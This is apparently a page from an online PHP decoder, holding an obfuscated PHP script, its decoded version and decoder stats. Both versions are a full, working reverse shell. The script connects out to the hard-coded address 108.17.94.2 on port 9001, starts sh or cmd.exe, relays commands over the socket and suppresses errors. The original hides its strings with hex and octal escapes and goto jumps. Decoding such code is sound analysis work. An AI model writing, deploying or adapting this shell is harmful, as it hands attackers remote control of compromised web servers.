Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto A9Zsn; XgH6P: $sh = new Shell("\x31\x30\x38\56\x31\67\56\71\64\x2e\x32", 900..
Decoded Output download
<?php
goto A9Zsn;
XgH6P:
$sh = new Shell("108.17.94.2", 9001);
goto GyPJ5;
A9Zsn:
class Shell
{
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
private $buffer = 1024;
private $clen = 0;
private $error = false;
public function __construct($addr, $port)
{
$this->addr = $addr;
$this->port = $port;
}
private function detect()
{
$detected = true;
if (stripos(PHP_OS, "LINUX") !== false) {
$this->os = "LINUX";
$this->shell = "sh";
} else {
if (stripos(PHP_OS, "WIN32") !== false || stripos(PHP_OS, "WINNT") !== false || stripos(PHP_OS, "WINDOWS") !== false) {
$this->os = "WINDOWS";
$this->shell = "cmd.exe";
} else {
$detected = false;
}
}
return $detected;
}
private function daemonize()
{
$exit = false;
if ($pid > 0) {
$exit = true;
}
return $exit;
}
private function settings()
{
@error_reporting(0);
@set_time_limit(0);
@umask(0);
}
private function dump($data)
{
$data = str_replace("<", "<", $data);
$data = str_replace(">", ">", $data);
}
private function read($stream, $name, $buffer)
{
if (($data = @fread($stream, $buffer)) === false) {
$this->error = true;
}
return $data;
}
private function write($stream, $name, $data)
{
if (($bytes = @fwrite($stream, $data)) === false) {
$this->error = true;
}
return $bytes;
}
private function rw($input, $output, $iname, $oname)
{
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === "WINDOWS" && $oname === "STDIN") {
$this->clen += strlen($data);
}
$this->dump($data);
}
}
private function brw($input, $output, $iname, $oname)
{
$fstat = fstat($input);
$size = $fstat["size"];
if ($this->os === "WINDOWS" && $iname === "STDOUT" && $this->clen) {
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data);
}
}
public function run()
{
if ($this->detect() && !$this->daemonize()) {
$this->settings();
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if ($socket) {
stream_set_blocking($socket, false);
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if ($process) {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false);
}
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status["pid"] . "
");
do {
$status = proc_get_status($process);
if (feof($socket)) {
break;
} else {
if (feof($pipes[1]) || !$status["running"]) {
break;
}
}
$streams = array("read" => array($socket, $pipes[1], $pipes[2]), "write" => null, "except" => null);
$num_changed_streams = @stream_select($streams["read"], $streams["write"], $streams["except"], 0);
if ($num_changed_streams === false) {
break;
} else {
if ($num_changed_streams > 0) {
if ($this->os === "LINUX") {
if (in_array($socket, $streams["read"])) {
$this->rw($socket, $pipes[0], "SOCKET", "STDIN");
}
if (in_array($pipes[2], $streams["read"])) {
$this->rw($pipes[2], $socket, "STDERR", "SOCKET");
}
if (in_array($pipes[1], $streams["read"])) {
$this->rw($pipes[1], $socket, "STDOUT", "SOCKET");
}
} else {
if ($this->os === "WINDOWS") {
if (in_array($socket, $streams["read"])) {
$this->rw($socket, $pipes[0], "SOCKET", "STDIN");
}
if (($fstat = fstat($pipes[2])) && $fstat["size"]) {
$this->brw($pipes[2], $socket, "STDERR", "SOCKET");
}
if (($fstat = fstat($pipes[1])) && $fstat["size"]) {
$this->brw($pipes[1], $socket, "STDOUT", "SOCKET");
}
}
}
}
}
} while (!$this->error);
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
fclose($socket);
}
}
}
}
goto XgH6P;
GyPJ5:
$sh->run();
goto ysT75;
ysT75:
unset($sh);
goto Mc7qU;
Mc7qU: ?>
Did this file decode correctly?
Original Code
<?php
goto A9Zsn;
XgH6P:
$sh = new Shell("\x31\x30\x38\56\x31\67\56\71\64\x2e\x32", 9001);
goto GyPJ5;
A9Zsn:
class Shell
{
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(0 => array("\x70\151\x70\x65", "\162"), 1 => array("\160\151\160\145", "\167"), 2 => array("\x70\151\x70\x65", "\x77"));
private $buffer = 1024;
private $clen = 0;
private $error = false;
public function __construct($addr, $port)
{
$this->addr = $addr;
$this->port = $port;
}
private function detect()
{
$detected = true;
if (stripos(PHP_OS, "\x4c\x49\x4e\125\130") !== false) {
$this->os = "\x4c\111\x4e\125\x58";
$this->shell = "\163\x68";
} else {
if (stripos(PHP_OS, "\127\111\116\63\62") !== false || stripos(PHP_OS, "\127\111\116\x4e\x54") !== false || stripos(PHP_OS, "\127\111\x4e\x44\117\x57\123") !== false) {
$this->os = "\x57\x49\116\x44\x4f\127\123";
$this->shell = "\143\155\x64\56\x65\x78\x65";
} else {
$detected = false;
}
}
return $detected;
}
private function daemonize()
{
$exit = false;
if ($pid > 0) {
$exit = true;
}
return $exit;
}
private function settings()
{
@error_reporting(0);
@set_time_limit(0);
@umask(0);
}
private function dump($data)
{
$data = str_replace("\x3c", "\46\154\164\x3b", $data);
$data = str_replace("\x3e", "\x26\x67\164\73", $data);
}
private function read($stream, $name, $buffer)
{
if (($data = @fread($stream, $buffer)) === false) {
$this->error = true;
}
return $data;
}
private function write($stream, $name, $data)
{
if (($bytes = @fwrite($stream, $data)) === false) {
$this->error = true;
}
return $bytes;
}
private function rw($input, $output, $iname, $oname)
{
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === "\x57\111\116\104\x4f\127\123" && $oname === "\123\x54\x44\x49\116") {
$this->clen += strlen($data);
}
$this->dump($data);
}
}
private function brw($input, $output, $iname, $oname)
{
$fstat = fstat($input);
$size = $fstat["\163\x69\x7a\145"];
if ($this->os === "\x57\x49\x4e\104\x4f\127\x53" && $iname === "\x53\124\x44\x4f\x55\124" && $this->clen) {
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data);
}
}
public function run()
{
if ($this->detect() && !$this->daemonize()) {
$this->settings();
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if ($socket) {
stream_set_blocking($socket, false);
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if ($process) {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false);
}
$status = proc_get_status($process);
@fwrite($socket, "\x53\117\103\x4b\105\124\x3a\x20\x53\150\x65\154\154\40\150\141\x73\40\143\x6f\156\156\x65\143\x74\145\144\x21\x20\120\x49\104\72\x20" . $status["\x70\x69\144"] . "\12");
do {
$status = proc_get_status($process);
if (feof($socket)) {
break;
} else {
if (feof($pipes[1]) || !$status["\x72\165\x6e\x6e\151\156\147"]) {
break;
}
}
$streams = array("\162\x65\141\x64" => array($socket, $pipes[1], $pipes[2]), "\x77\162\x69\164\x65" => null, "\x65\x78\x63\145\160\x74" => null);
$num_changed_streams = @stream_select($streams["\x72\x65\x61\x64"], $streams["\167\162\x69\164\145"], $streams["\x65\x78\143\145\x70\x74"], 0);
if ($num_changed_streams === false) {
break;
} else {
if ($num_changed_streams > 0) {
if ($this->os === "\x4c\x49\116\x55\x58") {
if (in_array($socket, $streams["\x72\145\x61\x64"])) {
$this->rw($socket, $pipes[0], "\x53\x4f\103\113\105\124", "\x53\x54\104\111\x4e");
}
if (in_array($pipes[2], $streams["\162\145\141\144"])) {
$this->rw($pipes[2], $socket, "\123\x54\104\105\x52\x52", "\x53\x4f\x43\113\x45\124");
}
if (in_array($pipes[1], $streams["\x72\145\x61\x64"])) {
$this->rw($pipes[1], $socket, "\x53\124\x44\x4f\x55\x54", "\123\117\103\x4b\105\x54");
}
} else {
if ($this->os === "\127\x49\116\x44\x4f\x57\123") {
if (in_array($socket, $streams["\x72\x65\141\144"])) {
$this->rw($socket, $pipes[0], "\x53\x4f\x43\x4b\x45\x54", "\123\124\x44\x49\x4e");
}
if (($fstat = fstat($pipes[2])) && $fstat["\x73\x69\x7a\145"]) {
$this->brw($pipes[2], $socket, "\x53\x54\x44\105\122\122", "\x53\117\103\x4b\105\124");
}
if (($fstat = fstat($pipes[1])) && $fstat["\x73\x69\x7a\x65"]) {
$this->brw($pipes[1], $socket, "\123\x54\104\x4f\x55\x54", "\x53\117\x43\113\105\x54");
}
}
}
}
}
} while (!$this->error);
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
fclose($socket);
}
}
}
}
goto XgH6P;
GyPJ5:
$sh->run();
goto ysT75;
ysT75:
unset($sh);
goto Mc7qU;
Mc7qU: ?>
Function Calls
None |
Stats
MD5 | b3edc4e90e35b711030e0acfc9269449 |
Eval Count | 0 |
Decode Time | 53 ms |